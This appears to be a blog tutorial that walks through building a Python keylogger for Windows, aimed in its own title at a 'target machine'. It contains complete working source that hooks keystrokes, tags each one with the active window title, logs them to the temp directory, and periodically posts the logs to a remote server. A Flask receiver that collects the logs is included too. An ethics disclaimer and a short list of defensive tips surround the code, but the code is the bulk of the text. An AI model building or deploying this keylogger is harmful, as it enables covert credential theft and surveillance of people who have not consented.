- Published on
Capture keystrokes from target machine with python
⚠️ Important Disclaimer
This article is intended solely for educational and research purposes. Keyloggers can be abused for malicious activity such as credential theft, identity fraud, or unauthorized surveillance. Running such software on machines you do not own, or without explicit consent, is illegal and unethical.
If you’re a developer or security researcher, use this knowledge to:
- Strengthen your defenses.
- Understand how attackers operate.
- Develop detection and monitoring tools.
What is a Keylogger?
A keylogger is software (or hardware) that records keyboard input. While attackers often misuse keyloggers to capture sensitive information, they can also serve legitimate purposes:
- Parental controls and activity monitoring.
- Usability testing and user behavior research.
- Recovery of lost input (e.g., in crash scenarios).
- Security research and penetration testing.
Modern keyloggers can also track active windows, take periodic screenshots, or send data to remote servers.
Building a Proof-of-Concept Keylogger in Python
We’ll walk through a simplified Python implementation that captures keystrokes, logs them locally, and optionally reports them to a server.
Dependencies:
pip install pynput pywin32 requests flask
Step 1: Class Initialization
import tempfile, threading, os, win32gui, requests
from datetime import datetime
from pynput.keyboard import Listener
class Keylogger:
def __init__(self, logTimer=60, reportTimer=3600,
sizeThreshold=10000, serverURL="http://127.0.0.1:5000/log"):
self.string = ""
self.window = ""
self.logTimer = logTimer
self.reportTimer = reportTimer
self.sizeThreshold = sizeThreshold
self.serverURL = serverURL
self.log_timer, self.report_timer = None, None
# Store logs in a temporary system directory
os.chdir(tempfile.gettempdir())
This initializes timers, thresholds, and sets up a working directory.
Step 2: Track Active Windows
def get_window_name(self):
w = win32gui
return w.GetWindowText(w.GetForegroundWindow())
This ensures each keystroke is linked to the window title active at the time.
Step 3: Capturing Keystrokes
def onpress(self, key):
timestamp = datetime.now().strftime("%m/%d/%Y, %H:%M:%S")
if self.window != self.get_window_name():
self.window = self.get_window_name()
self.string += f"\n[ {self.window} ({timestamp}) ]\n"
key_mappings = {
96: "0", 97: "1", 98: "2", 99: "3", 100: "4",
101: "5", 102: "6", 103: "7", 104: "8", 105: "9"
}
try:
if hasattr(key, 'vk') and 96 <= key.vk <= 105:
self.string += key_mappings.get(key.vk, "")
else:
self.string += key.char
except AttributeError:
mapping = {"Key.space": " ", "Key.enter": "\n"}
self.string += mapping.get(str(key), f"[{str(key)}]")
except:
self.string += "??"
This method captures normal and special keys (space, enter, numpad).
Step 4: Logging and Reporting
- Local logging:
def log(self):
if self.log_timer: self.log_timer.cancel()
with open("log.txt", "a") as f:
f.write(self.string)
self.string = ""
self.log_timer = threading.Timer(self.logTimer, self.log)
self.log_timer.start()
- Sending to server:
def send_log(self, log_file):
try:
with open(log_file, "r") as f:
log_data = f.read()
response = requests.post(self.serverURL, data=log_data)
return response.status_code == 200
except:
return False
def report(self):
if self.report_timer: self.report_timer.cancel()
if os.path.exists("log.txt") and os.stat("log.txt").st_size > self.sizeThreshold:
if self.send_log("log.txt"):
os.remove("log.txt")
self.report_timer = threading.Timer(self.reportTimer, self.report)
self.report_timer.start()
Step 5: Running the Keylogger
def run(self):
self.report()
self.log()
with Listener(on_press=self.onpress) as listener:
listener.join()
if __name__ == "__main__":
logger = Keylogger()
logger.run()
Step 6: Minimal Flask Receiver
from flask import Flask, request
from datetime import datetime
app = Flask(__name__)
@app.route('/log', methods=['POST'])
def receive_log():
now = datetime.now()
filename = f"log_{now.strftime('%Y%m%d_%H%M%S')}.txt"
with open(filename, "wb") as f:
f.write(request.data)
return "OK"
if __name__ == "__main__":
app.run()
This server receives logs and stores them as timestamped files.
Security Takeaways
While this example is basic, it demonstrates how easy it is to implement keystroke capture in Python. To protect against keyloggers:
- Use endpoint security solutions that detect suspicious hooks.
- Run regular anti-malware scans.
- Restrict software installation to trusted sources.
- Use password managers to avoid manual typing of credentials.
- Enable two-factor authentication (2FA) for critical accounts.
Conclusion
We’ve built a simple proof-of-concept keystroke logger in Python to illustrate how attackers may capture user activity. More importantly, we discussed how to defend against such threats.
Remember: the intent here is awareness and research — not misuse. Always operate within ethical and legal boundaries.